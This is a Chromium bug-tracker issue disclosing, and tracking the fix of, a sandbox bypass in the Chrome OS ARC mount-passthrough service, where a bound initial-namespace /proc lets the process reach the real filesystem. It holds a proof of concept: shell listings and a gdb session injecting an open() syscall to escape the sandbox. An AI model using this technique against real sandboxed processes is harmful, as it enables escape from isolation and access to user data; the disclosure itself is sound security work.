New issue
Advanced search Search tips

Issue 867374 link

Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Jul 30
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Chrome
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: ARC: mount-passthrough sandbox bypass via procfs

Project Member Reported by jannh@google.com, Jul 25

Issue description

The mount-passthrough service, which runs as chronos, is sandboxed with minijail so that it only has access to a limited subset of the filesystem:

localhost / # ps aux|grep passthr
root      3645  0.0  0.0   8648  1940 ?        Ss   10:06   0:00 minijail0 --uts -v -r -e -p -I -l -c 0x200000 -u chronos -g chronos -G -P /opt/google/containers/arc-removable-media/mountpoints/container-root -K -k /bin /bin none 0x1000 -k /bin /bin none 0x1027 -k /etc /etc none 0x1000 -k /etc /etc none 0x1027 -k /lib /lib none 0x1000 -k /lib /lib none 0x1027 -k /sbin /sbin none 0x1000 -k /sbin /sbin none 0x1027 -k /usr /usr none 0x1000 -k /usr /usr none 0x1027 -b /proc /proc 1 -k none / none 0x44000 -k /media/removable /mnt/source none 0x5000 -k /media/removable /mnt/source none 0x84000 -k /media/removable /mnt/source none 0x102e -k /run/arc/media/removable /mnt/dest none 0x1000 -k /run/arc/media/removable /mnt/dest none 0x102e -- /usr/bin/mount-passthrough /mnt/source /mnt/dest 007
chronos   3655  0.0  0.0 231740  3032 ?        Sl   10:06   0:00 /usr/bin/mount-passthrough /mnt/source /mnt/dest 007
root     12543  0.0  0.0   6140   744 pts/4    S+   11:27   0:00 grep --colour=auto passthr
localhost / # cat /proc/3655/mounts
/dev/loop2 / squashfs ro,seclabel,nosuid,noexec,relatime 0 0
/dev/root /bin ext2 ro,seclabel,nosuid,nodev,relatime,block_validity,barrier,user_xattr,acl 0 0
/dev/root /etc ext2 ro,seclabel,nosuid,nodev,relatime,block_validity,barrier,user_xattr,acl 0 0
/dev/root /lib ext2 ro,seclabel,nosuid,nodev,relatime,block_validity,barrier,user_xattr,acl 0 0
/dev/root /sbin ext2 ro,seclabel,nosuid,nodev,relatime,block_validity,barrier,user_xattr,acl 0 0
/dev/root /usr ext2 ro,seclabel,nosuid,nodev,relatime,block_validity,barrier,user_xattr,acl 0 0
none /proc proc rw,nosuid,nodev,noexec,relatime 0 0
media /mnt/source tmpfs rw,seclabel,nosuid,nodev,noexec,relatime 0 0
tmpfs /mnt/dest tmpfs ro,seclabel,nosuid,nodev,noexec,relatime,mode=755,uid=655360,gid=656360 0 0
passthrough /mnt/dest fuse rw,nosuid,nodev,relatime,user_id=1000,group_id=1000,default_permissions,allow_other 0 0
/dev/sda1 /mnt/source/USB\040Drive ext4 rw,dirsync,seclabel,nosuid,nodev,noexec,relatime,data=ordered 0 0
localhost / # cd /proc/3655/root
localhost /proc/3655/root # ls
bin  dev  etc  lib  mnt  proc  sbin  usr
localhost /proc/3655/root # ls mnt
dest  source


However, this subset includes a copy of procfs for the initial PID namespace, meaning that it contains jumped symlinks owned by chronos that point to the real "/":

localhost /proc/3655/root # ps aux|grep /opt/google/chrome/chrome.*ppapi-flash-path.*enable-feat | head -c 100; echo
chronos   2461  5.4  3.9 929860 318492 ?       S<sl 10:01   5:01 /opt/google/chrome/chrome --ppapi-f
localhost /proc/3655/root # cd proc/2461/root
localhost /proc/3655/root/proc/2461/root # ls
bin  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  postinst  proc  root  run  sbin  sys  tmp  usr  var
localhost /proc/3655/root/proc/2461/root # 


To demonstrate that mount-passthrough can actually use this, I ran gdbserver against mount-passthrough on the device, then connected to gdbserver and injected two syscalls:

~$ gdb
[...]
(gdb) target remote 100.115.92.202:1234
Remote debugging using 100.115.92.202:1234
[...]
0x0000788157d1566c in ?? ()
(gdb) bt
#0  0x0000788157d1566c in ?? ()
#1  0x0000000000000840 in ?? ()
#2  0x0000087000002101 in ?? ()
#3  0x0000000000000108 in ?? ()
#4  0x00007ffe450dbed0 in ?? ()
#5  0xfffffffeffffffff in ?? ()
#6  0x00007ffe450dbdf0 in ?? ()
#7  0x00007ffe450dbe30 in ?? ()
#8  0x0000788157d1572c in ?? ()
#9  0x0000000000000000 in ?? ()
(gdb) x/5i $pc-2
   0x788157d1566a:	syscall 
=> 0x788157d1566c:	cmp    rax,0xfffffffffffff000
   0x788157d15672:	ja     0x788157d15690
   0x788157d15674:	mov    edi,r13d
   0x788157d15677:	call   0x788157d160d0
(gdb) set $pc=0x788157d1566a
(gdb) x/5i $pc
=> 0x788157d1566a:	syscall 
   0x788157d1566c:	cmp    rax,0xfffffffffffff000
   0x788157d15672:	ja     0x788157d15690
   0x788157d15674:	mov    edi,r13d
   0x788157d15677:	call   0x788157d160d0
# note: 2 is __NR_open
(gdb) set $rax = 2
(gdb) print $rsp
$1 = (void *) 0x7ffe450dbda0
(gdb) set ((char*)0x7ffe450da000)[0] = '/'
(gdb) set ((char*)0x7ffe450da000)[1] = 'h'
(gdb) set ((char*)0x7ffe450da000)[2] = 'o'
(gdb) set ((char*)0x7ffe450da000)[3] = 'm'
(gdb) set ((char*)0x7ffe450da000)[4] = 'e'
(gdb) set ((char*)0x7ffe450da000)[5] = 0
(gdb) set $rdi=0x7ffe450da000
(gdb) set $rsi = 0
(gdb) stepi
0x0000788157d1566c in ?? ()
(gdb) print $rax
$2 = -2
# note: -2 is -ENOENT, so /home is not accessible
(gdb) set $pc=0x788157d1566a
(gdb) set $rax = 2
(gdb) set ((char*)0x7ffe450da000)[0] = '/'
(gdb) set ((char*)0x7ffe450da000)[1] = 'p'
(gdb) set ((char*)0x7ffe450da000)[2] = 'r'
(gdb) set ((char*)0x7ffe450da000)[3] = 'o'
(gdb) set ((char*)0x7ffe450da000)[4] = 'c'
(gdb) set ((char*)0x7ffe450da000)[5] = '/'
(gdb) set ((char*)0x7ffe450da000)[6] = '2'
(gdb) set ((char*)0x7ffe450da000)[7] = '4'
(gdb) set ((char*)0x7ffe450da000)[8] = '6'
(gdb) set ((char*)0x7ffe450da000)[9] = '1'
(gdb) set ((char*)0x7ffe450da000)[10] = '/'
(gdb) set ((char*)0x7ffe450da000)[11] = 'r'
(gdb) set ((char*)0x7ffe450da000)[12] = 'o'
(gdb) set ((char*)0x7ffe450da000)[13] = 'o'
(gdb) set ((char*)0x7ffe450da000)[14] = 't'
(gdb) set ((char*)0x7ffe450da000)[15] = '/'
(gdb) set ((char*)0x7ffe450da000)[16] = 'h'
(gdb) set ((char*)0x7ffe450da000)[17] = 'o'
(gdb) set ((char*)0x7ffe450da000)[18] = 'm'
(gdb) set ((char*)0x7ffe450da000)[19] = 'e'
(gdb) set ((char*)0x7ffe450da000)[20] = 0
(gdb) print (char*)0x7ffe450da000
$3 = 0x7ffe450da000 "/proc/2461/root/home"
(gdb) set $rdi=0x7ffe450da000
(gdb) set $rsi=0
(gdb) stepi
0x0000788157d1566c in ?? ()
(gdb) print $rax
$4 = 6
# note: 6 is a file descriptor number, open() was successful
(gdb) quit
[...]
Detaching from program: target:/usr/bin/mount-passthrough, process 3655
Ending remote debugging.

Afterwards, checking on the device:

localhost /home/chronos # ls -l /proc/3655/fd
total 0
lrwx------. 1 root root 64 Jul 25 11:54 0 -> /dev/null
l-wx------. 1 root root 64 Jul 25 11:54 1 -> /var/log/arc-removable-media.log
l-wx------. 1 root root 64 Jul 25 11:54 2 -> /var/log/arc-removable-media.log
lrwx------. 1 root root 64 Jul 25 11:54 3 -> 'socket:[313783]'
lrwx------. 1 root root 64 Jul 25 11:54 4 -> /dev/fuse
l-wx------. 1 root root 64 Jul 25 11:54 5 -> 'pipe:[312955]'
lr-x------. 1 root root 64 Jul 25 11:54 6 -> /home
 
Cc: hidehiko@chromium.org hashimoto@chromium.org
Components: Platform>Apps>ARC
Labels: Security_Severity-Medium Security_Impact-Stable
Owner: nya@chromium.org
nya@, hidehiko@, hashimoto@ can one of you take a look? Can we just not mount the initial pidns' /proc ?
Cc: nya@chromium.org
Owner: hashimoto@chromium.org
Status: Assigned (was: Unconfirmed)
I think we can solve this by switching to minijail0's profile b/110799722
Project Member

Comment 3 by sheriffbot@chromium.org, Jul 26

Labels: M-68 Target-68
Project Member

Comment 4 by sheriffbot@chromium.org, Jul 26

Labels: Pri-1
Project Member

Comment 5 by bugdroid1@chromium.org, Jul 27

The following revision refers to this bug:
  https://chrome-internal.googlesource.com/chromeos/autotest-cheets/+/534c3f9433533387d3911533760813905e3ea44d

commit 534c3f9433533387d3911533760813905e3ea44d
Author: Ryo Hashimoto <hashimoto@google.com>
Date: Fri Jul 27 15:50:46 2018

Project Member

Comment 6 by bugdroid1@chromium.org, Jul 27

The following revision refers to this bug:
  https://chromium.googlesource.com/chromiumos/overlays/chromiumos-overlay/+/f9d9bdb611cc02168698b53b0f330d4cc635eccb

commit f9d9bdb611cc02168698b53b0f330d4cc635eccb
Author: Ryo Hashimoto <hashimoto@google.com>
Date: Fri Jul 27 15:50:46 2018

mount-passthrough: Stop using squashfs

BUG= chromium:867374 
BUG=b:110799722
TEST=test_that <DUT> platform_FilePerms cheets_ContainerMount cheets_RemovableMedia
CQ-DEPEND=CL:1151080

Change-Id: I5a7fc09e3f1a2a97e6fd4f687599291861d91bc8
Reviewed-on: https://chromium-review.googlesource.com/1151082
Commit-Ready: Ryo Hashimoto <hashimoto@chromium.org>
Tested-by: Ryo Hashimoto <hashimoto@chromium.org>
Reviewed-by: Ryo Hashimoto <hashimoto@chromium.org>
Reviewed-by: Shuhei Takahashi <nya@chromium.org>

[modify] https://crrev.com/f9d9bdb611cc02168698b53b0f330d4cc635eccb/chromeos-base/mount-passthrough/mount-passthrough-9999.ebuild
[modify] https://crrev.com/f9d9bdb611cc02168698b53b0f330d4cc635eccb/chromeos-base/arc-removable-media/arc-removable-media-9999.ebuild

Project Member

Comment 7 by bugdroid1@chromium.org, Jul 27

The following revision refers to this bug:
  https://chromium.googlesource.com/chromiumos/third_party/autotest/+/12371790e0c754a22401a076f84ad97e4a88be49

commit 12371790e0c754a22401a076f84ad97e4a88be49
Author: Ryo Hashimoto <hashimoto@google.com>
Date: Fri Jul 27 15:50:45 2018

arc: Stop using squashfs for arc-removable-media

BUG= chromium:867374 
BUG=b:110799722
TEST=test_that <DUT> platform_FilePerms cheets_ContainerMount
cheets_RemovableMedia
CQ-DEPEND=CL:1151080

Change-Id: Iad4fb3c5dea22fc1937013915a848d1c5c8dc162
Reviewed-on: https://chromium-review.googlesource.com/1151081
Commit-Ready: Ryo Hashimoto <hashimoto@chromium.org>
Tested-by: Ryo Hashimoto <hashimoto@chromium.org>
Reviewed-by: Yusuke Sato <yusukes@chromium.org>
Reviewed-by: Shuhei Takahashi <nya@chromium.org>

[modify] https://crrev.com/12371790e0c754a22401a076f84ad97e4a88be49/client/site_tests/platform_FilePerms/platform_FilePerms.py

Project Member

Comment 8 by bugdroid1@chromium.org, Jul 27

The following revision refers to this bug:
  https://chromium.googlesource.com/chromiumos/platform2/+/7a1c82d80ad9ef2714748ad00313c812b51cdee8

commit 7a1c82d80ad9ef2714748ad00313c812b51cdee8
Author: Ryo Hashimoto <hashimoto@google.com>
Date: Fri Jul 27 15:50:47 2018

arc: Stop using squashfs for mount-passthrough

Use minijail0 profile instead.

BUG= chromium:867374 
BUG=b:110799722
TEST=test_that <DUT> platform_FilePerms cheets_ContainerMount
cheets_RemovableMedia
CQ-DEPEND=CL:1151081,CL:1151082,CL:*656028

Change-Id: Ia644494fe869d6ee5ee01957561363485ef2baa3
Reviewed-on: https://chromium-review.googlesource.com/1151080
Commit-Ready: Ryo Hashimoto <hashimoto@chromium.org>
Tested-by: Ryo Hashimoto <hashimoto@chromium.org>
Reviewed-by: Yusuke Sato <yusukes@chromium.org>
Reviewed-by: Shuhei Takahashi <nya@chromium.org>

[modify] https://crrev.com/7a1c82d80ad9ef2714748ad00313c812b51cdee8/arc/mount-passthrough/mount-passthrough.gyp
[modify] https://crrev.com/7a1c82d80ad9ef2714748ad00313c812b51cdee8/arc/mount-passthrough/mount-passthrough-jailed
[modify] https://crrev.com/7a1c82d80ad9ef2714748ad00313c812b51cdee8/arc/removable-media/arc-removable-media.conf
[modify] https://crrev.com/7a1c82d80ad9ef2714748ad00313c812b51cdee8/arc/setup/arc_setup.cc

Status: WontFix (was: Assigned)
I thought that the original report was about mount-passthrough having access to unnecessary user data or something, but is it just about access to /?
If so, I think it's not a problem provided there is no risky mounts shared.

I changed mount-passthrough to use minimalistic-mountns profile, but it also binds /.
https://android.git.corp.google.com/platform/external/minijail/+/136adca78c7df04e7bc42c74f7c1ae0e992f88e4/minijail0_cli.c?pli=1#336
Status: Assigned (was: WontFix)
I think having access to Chrome OS / is just one example. There are many other processes having different /, e.g. Android init.

Status: Fixed (was: Assigned)
Discussed with nya@ offline.
IIUC the real problem here is not access to /, but / with mounts on it.
Entering a PID namespace and a mount namespace makes it impossible to use /proc to access mounts in the initial namespace, but binding /proc from the initial PID namespace makes it possible.

mount-passthrough started using minimalistic-mountns profile and stopped binding /proc so it should be fixed now.
Project Member

Comment 12 by sheriffbot@chromium.org, Jul 30

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Project Member

Comment 13 by sheriffbot@chromium.org, Nov 5

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment